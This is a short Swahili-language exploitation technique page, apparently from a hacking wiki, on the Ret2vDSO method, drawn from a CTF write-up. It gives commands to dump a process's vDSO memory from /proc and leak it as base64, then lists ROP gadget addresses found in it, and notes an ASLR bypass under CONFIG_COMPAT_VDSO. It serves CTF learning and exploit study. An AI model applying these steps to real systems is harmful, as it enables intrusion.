Ret2vDSO

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Basic Information

Kuna gadgets katika eneo la vDSO, ambalo linatumika kubadilisha kutoka hali ya mtumiaji hadi hali ya kernel. Katika aina hizi za changamoto, kawaida picha ya kernel hutolewa ili kudump eneo la vDSO.

Kufuata mfano kutoka https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/ inawezekana kuona jinsi ilivyowezekana kudump sehemu ya vdso na kuhamasisha kwa mwenyeji na:

# Find addresses
cat /proc/76/maps
08048000-08049000 r--p 00000000 00:02 317                                /target
08049000-0804a000 r-xp 00001000 00:02 317                                /target
0804a000-0804b000 rw-p 00002000 00:02 317                                /target
f7ff8000-f7ffc000 r--p 00000000 00:00 0                                  [vvar]
f7ffc000-f7ffe000 r-xp 00000000 00:00 0                                  [vdso]
fffdd000-ffffe000 rw-p 00000000 00:00 0                                  [stack]

# Dump it
dd if=/proc/76/mem of=vdso bs=1 skip=$((0xf7ffc000)) count=$((0x2000))
8192+0 records in
8192+0 records out
8192 bytes (8.0KB) copied, 0.901154 seconds, 8.9KB/s

# Compress and leak it
gzip vdso
base64 vdso.gz

# Decompress and check of gadgets
echo '<base64-payload>' | base64 -d | gzip -d - > vdso
file vdso
ROPgadget --binary vdso | grep 'int 0x80'

Vifaa vya ROP vilivyopatikana:

vdso_addr = 0xf7ffc000

int_0x80_xor_eax_eax_ret_addr = 0x8049010
bin_sh_addr = 0x804a800

# 0x0000057a : pop edx ; pop ecx ; ret
pop_edx_pop_ecx_ret_addr = vdso_addr + 0x57a

# 0x00000cca : mov dword ptr [edx], ecx ; add esp, 0x34 ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
mov_dword_ptr_edx_ecx_ret_addr = vdso_addr + 0xcca

# 0x00000ccb : or al, byte ptr [ebx + 0x5e5b34c4] ; pop edi ; pop ebp ; ret
or_al_byte_ptr_ebx_pop_edi_pop_ebp_ret_addr = vdso_addr + 0xccb

# 0x0000015cd : pop ebx ; pop esi ; pop ebp ; ret
pop_ebx_pop_esi_pop_ebp_ret = vdso_addr + 0x15cd

Kumbuka hivyo inaweza kuwa inawezekana kuzidi ASLR kwa kutumia vdso ikiwa kernel imeandikwa na CONFIG_COMPAT_VDSO kwani anwani ya vdso haitabadilishwa: https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639

ARM64

Baada ya kutupa na kuangalia sehemu ya vdso ya binary katika kali 2023.2 arm64, sikuweza kupata gadget yoyote ya kuvutia (hakuna njia ya kudhibiti register kutoka kwa thamani katika stack au kudhibiti x30 kwa ajili ya ret) isipokuwa njia ya kuita SROP. Angalia maelezo zaidi katika mfano kutoka kwenye ukurasa:

SROP - ARM64

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